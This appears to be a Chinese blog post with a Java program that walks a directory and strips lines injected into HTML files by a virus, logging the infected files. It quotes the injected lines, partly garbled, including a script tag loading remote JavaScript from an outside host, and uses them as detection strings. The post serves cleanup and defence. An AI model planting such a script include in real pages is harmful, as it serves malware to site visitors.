我的機(jī)器中毒了,導(dǎo)致機(jī)器上的每個html文件最后都包含下面兩行代碼
----O;K?? 団P慖
----D2q蘤#甛6陂馠??R圡宇http://www.333292.com/cb.js></script>
于是寫這個程序把機(jī)器上所有的html文件最后兩行刪掉
這個程序了涉及到了java 讀寫文本、遍歷目錄及子目錄、獲得文件擴(kuò)展名的操作。
import java.io.*;
public class ChangeFile {
public void changeFile(File inFile) {
String _temp;
boolean _hasVirus = false;
try {
// 讀HTML文件...............................
FileReader _frd = new FileReader(inFile);
BufferedReader _brd = new BufferedReader(_frd);
// 將讀出來的字符集寫入另一個文件..................................
File outFile = new File(inFile.getPath() + ".tmp");
FileWriter _fwt = new FileWriter(outFile);
// 一行一行讀文件,判斷文件里是否包含病毒
_temp = _brd.readLine();
while (_temp != null) {
if (_temp.contains("団P慖")
|| _temp
.contains("R圡宇http://www.333292.com/cb.js></script>")) {
_hasVirus = true;
} else {
_fwt.write(_temp + "\n");
}
_temp = _brd.readLine();
}
_brd.close();
_frd.close();
_fwt.close();
// 刪掉原文件,將新寫的文件名改為源文件名
if (_hasVirus == true) {
inFile.delete();
outFile.renameTo(inFile);
// 形成記錄文件D:\\log.txt
FileWriter _wlog = new FileWriter(new File("d:\\log.txt"), true);
_wlog.append(inFile.getPath() + " has virus;\n");
// System.out.println(inFile.getPath() + " has virus;");
_wlog.close();
} else {
outFile.delete();
}
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
// 遍歷目錄及子目錄下所有的文件
public void searchSubFile(String dir) {
File _dir = new File(dir);
if (!_dir.exists()) {
System.out.println("文件或目錄不存在");
return;
}
if (_dir.isDirectory()) {
File[] subFiles = _dir.listFiles();
for (int i = 0; i < subFiles.length; i++) {
System.out.println(subFiles[i].getPath());
searchSubFile(subFiles[i].getPath());
}
return;
}
// System.out.println(_dir.getPath());
// 遍歷目錄,開始更改文件
String _ext = getExtension(_dir);
if (_ext != null) {
if (_ext.equalsIgnoreCase("html") || _ext.equalsIgnoreCase("htm")) {
changeFile(_dir);
}
}
}
// 獲得文件擴(kuò)展名
public String getExtension(File file) {
String _filename = file.getName();
if ((_filename != null) && (_filename.length() > 0)) {
int i = _filename.lastIndexOf(".");
if ((i > 0) && (i < (_filename.length() - 1))) {
// System.out.println(_filename.substring(i + 1));
return _filename.substring(i + 1);
}
}
return null;
}
public static void main(String[] args) {
ChangeFile ttt = new ChangeFile();
ttt.searchSubFile("D:\\My_Dev");//此處換成你所需修改HTML文件的目錄,然后java編譯運(yùn)行即可
}
}